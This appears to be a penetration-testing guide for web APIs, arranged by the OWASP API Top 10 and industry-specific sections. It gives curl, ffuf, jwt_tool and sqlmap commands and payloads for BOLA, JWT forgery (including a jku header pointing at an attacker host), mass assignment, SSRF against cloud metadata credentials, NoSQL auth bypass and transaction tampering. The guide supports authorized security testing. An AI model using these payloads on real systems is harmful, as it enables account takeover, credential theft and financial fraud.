☰   How to use this guide

APIs fail differently from web pages: the bugs are authorization (BOLA/BFLA), over-exposure, and missing limits — and the UI's restrictions almost never exist on the backend. So test the API directly with curl/Postman/Burp, with two accounts, and read the raw JSON. This guide turns every line of the API checklist into how-to-test. Companion: the API Security deep-dive and the Web checklist (the API is also a web target).

export HTTPS_PROXY=http://127.0.0.1:8080            # route everything through Burp
BASE=https://api.target.tld ; TOKEN_A=...; TOKEN_B=...   # two test identities
# Grab the spec if exposed — it is your endpoint map:
curl -s $BASE/openapi.json | jq '.paths | keys'

0   Recon & API discovery

Find every endpoint, version and leaked key before testing logic. The spec, JS bundles and old versions hand you most of the surface.

Discover the API surface

# Swagger / OpenAPI / GraphQL discovery
for p in swagger-ui api-docs v3/api-docs openapi.json graphql .well-known/openid-configuration; do
  curl -s -o /dev/null -w "%{http_code} $p\n" $BASE/$p ; done
# Endpoints + keys hiding in front-end JS
katana -u https://target.tld -jc -silent | grep -E '/api|/v[0-9]' | anew endpoints.txt
nuclei -l endpoints.txt -t http/exposures/   # tokens, keys, stack traces
# Old versions live alongside current?
for v in v1 v2 v3 internal beta; do curl -s -o /dev/null -w "%{http_code} /$v\n" $BASE/$v/users; done

Recon & discovery — full coverage

1   Broken object level authorization (BOLA)

API #1 and the most common API critical: the server uses a client-supplied object ID without checking it belongs to you.

BOLA — the two-token method

1. Get two accounts (token A, token B). As A, capture a request referencing your object: GET /api/orders/1001.
2. Replay it with A's token but B's object ID (or just decrement/increment). B's data returned → BOLA.
3. Repeat for body params, query params, headers, nested resources, and batch ids[]; test read, update and delete.
4. Automate with Burp Autorize (replays low-priv session against captured requests and diffs).

# Range-sweep object IDs with A's token; flag anything not 403/404
ffuf -u "$BASE/api/orders/FUZZ" -H "Authorization: Bearer $TOKEN_A" \
     -w <(seq 1000 1100) -mc 200 -ac -c
# UUIDs are not authz — if leaked elsewhere they are just as swappable.

BOLA — full coverage

2   Broken authentication

API #2: weak token issuance and JWT handling. Brute the auth endpoint, then attack the token itself.

JWT attacks

jwt_tool <JWT> -T                       # tamper claims (role, sub) and replay
jwt_tool <JWT> -X a                      # alg:none family
jwt_tool <JWT> -C -d rockyou.txt         # crack weak HS256 secret
jwt_tool <JWT> -X k -pk public.pem       # RS256 -> HS256 key confusion
# kid / jku / x5u abuse: point header to attacker-controlled key/URL
#   "kid":"../../dev/null"  or  "jku":"https://attacker.tld/jwks.json"

Broken authentication — full coverage

3   Broken object property level authorization

API #3: property-level authorization. Two halves — the server returns fields you shouldn't see (excessive data exposure), and accepts fields you shouldn't set (mass assignment).

Excessive data exposure & mass assignment

# Excessive exposure — read the FULL JSON, not just what the UI shows
curl -s $BASE/api/users/me -H "Authorization: Bearer $TOKEN_A" | jq .
#   look for: passwordHash, internal flags, other users' fields, isAdmin, balance

# Mass assignment — inject privileged fields the UI never sends
curl -s -X PATCH $BASE/api/users/me -H "Authorization: Bearer $TOKEN_A" \
  -H 'Content-Type: application/json' \
  -d '{"name":"x","role":"admin","isAdmin":true,"verified":true,"ownerId":1}'
# Nested escalation:  {"user":{"role":"admin"}}

BOPLA — full coverage

4   Unrestricted resource consumption

API #4: no limits = cost, DoS and brute-force enablement. Test rate limits and their bypasses, pagination caps and expensive operations.

# Is there a rate limit, and can it be bypassed?
for i in $(seq 1 200); do curl -s -o /dev/null -w "%{http_code} " $BASE/api/search?q=x \
  -H "X-Forwarded-For: 1.2.3.$((RANDOM%255))" ; done   # rotate XFF / casing / param
# Pagination / response-size blow-up
curl -s "$BASE/api/items?limit=9999999" -o /dev/null -w "size=%{size_download}\n"

Resource consumption — full coverage

5   Broken function level authorization (BFLA)

API #5: a normal user reaches admin functions because the UI hides them but the API doesn't check the role.

# Replay an admin-only endpoint with a normal user's token
curl -s -X POST $BASE/api/admin/users -H "Authorization: Bearer $TOKEN_A" -d '{...}'  # 200? -> BFLA
# Method swap + override header
curl -X GET   $BASE/api/admin/deleteUser?id=5 -H "Authorization: Bearer $TOKEN_A"
curl -X POST  $BASE/api/user -H 'X-HTTP-Method-Override: DELETE' -H "Authorization: Bearer $TOKEN_A"

BFLA — full coverage

6   Unrestricted access to sensitive business flows

API #6: a sensitive flow (purchase, signup, reward) is automatable at scale because there's no anti-automation.

Sensitive business flows — full coverage

7   Server-side request forgery (SSRF)

API #7: a parameter that fetches a URL becomes a door into the internal network and cloud metadata.

interactsh-client            # OOB host; then point any url/webhook/import param at it
curl -s -X POST $BASE/api/import -d '{"url":"http://<oob>.oast.fun/"}'   # callback = SSRF
# Escalate + bypass filters:
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/   # cloud creds
url=http://127.1   url=http://[::]   url=http://0x7f000001   url=http://2130706433
# DNS rebinding / 30x redirect to internal when host is allowlisted

SSRF — full coverage

8   Security misconfiguration

API #8: CORS, missing headers, verbose errors, exposed debug, weak TLS and parser confusion.

# CORS — reflected origin with credentials is the dangerous one
curl -s -I $BASE/api/me -H 'Origin: https://evil.tld' | grep -i access-control
#   ACAO: https://evil.tld + ACAC: true  -> exploitable
# Content-type confusion: JSON endpoint that also parses XML -> XXE
curl -s -X POST $BASE/api/x -H 'Content-Type: application/xml' --data @xxe.xml

Misconfiguration — full coverage

9   Improper inventory management

API #9: shadow, deprecated and non-prod endpoints that bypass the current controls.

Inventory management — full coverage

10   Unsafe consumption of third-party APIs

API #10: blindly trusting data and redirects from upstream/partner APIs.

Third-party consumption — full coverage

11   Injection & input validation

APIs hit the same interpreters as web apps — SQL/NoSQL, command, SSTI, XXE, plus JSON type juggling and parser differentials.

sqlmap -r request.req -p id --batch --level 3        # SQLi in body/param
# NoSQL operator injection (JSON)
{"username":{"$ne":null},"password":{"$ne":null}}     # auth bypass
# JSON type juggling: send string where int expected, array where string expected
{"id":"1 OR 1=1"}   {"role":["admin"]}   {"amount":"100e2"}

Injection — full coverage

12   GraphQL-specific

Run this section only when GraphQL is present. Introspection maps the schema; the bugs are field-level authz, batching and depth.

# Introspection -> full schema
curl -s $BASE/graphql -H 'Content-Type: application/json' \
  -d '{"query":"{__schema{queryType{name} types{name fields{name}}}}"}' | jq .
# Batching to bypass rate limit / brute force
[{"query":"mutation{login(u:\"a\",p:\"1\"){t}}"},{"query":"mutation{login(u:\"a\",p:\"2\"){t}}"}]
# Tools: graphw00f (fingerprint), clairvoyance (schema w/o introspection), InQL (Burp)

GraphQL — full coverage

13   Webhooks, async & WebSocket APIs

Run when webhooks/WebSockets are present. The themes: payload spoofing/replay, SSRF via webhook URL config, and missing auth/origin on WS.

Webhook & async/event APIs — full coverage

A   SaaS / multi-tenant API

Multi-tenant APIs live or die on tenant isolation. The killer is cross-tenant BOLA via a tamperable tenant ID or token claim.

SaaS / multi-tenant API — full coverage

B   Banking / fintech API

Money → integrity, race conditions, OTP and account BOLA. Every amount/account/status must be validated and signed server-side.

# Amount/account/status tampering + double-spend race
{"to":"VICTIM","amount":-1000}    {"amount":0.001}    {"status":"FAILED"}->{"SUCCESS"}
# Fire N parallel withdrawals (Burp single-packet / Turbo Intruder) before balance updates

Banking / fintech API — full coverage

C   E-commerce API

Cart, coupon, payment and refund logic via the API. Anything recomputed or trusted client-side is tamperable for free goods/money.

E-commerce API — full coverage

D   Healthcare API

PHI confidentiality dominates: BOLA on records, unauthenticated report access, over-exposure.

Healthcare API — full coverage

E   Internal / admin / microservice APIs

Internal/microservice APIs often trust the caller blindly — spoofable identity headers and missing service-to-service auth are the wins.

# Inter-service trust header spoofing — claim to be an internal/admin caller
curl -s $BASE/internal/users -H 'X-User-Id: 1' -H 'X-Role: admin' -H 'X-Forwarded-For: 127.0.0.1'

Internal / admin / microservice API — full coverage

✓   Coverage map & how to run it

Run sections 0–11 on every API; add 12/13 when GraphQL/webhooks/WebSockets exist; finish with the category block that matches the product.

The through-line for APIs: authorization is the bug. Test object access (BOLA) and function access (BFLA) with two accounts against the backend directly, read the full JSON for over-exposure, and never assume the UI's limits are the server's. Tick a box only when you've run the test and recorded the result; the finding names are written to paste straight into the report.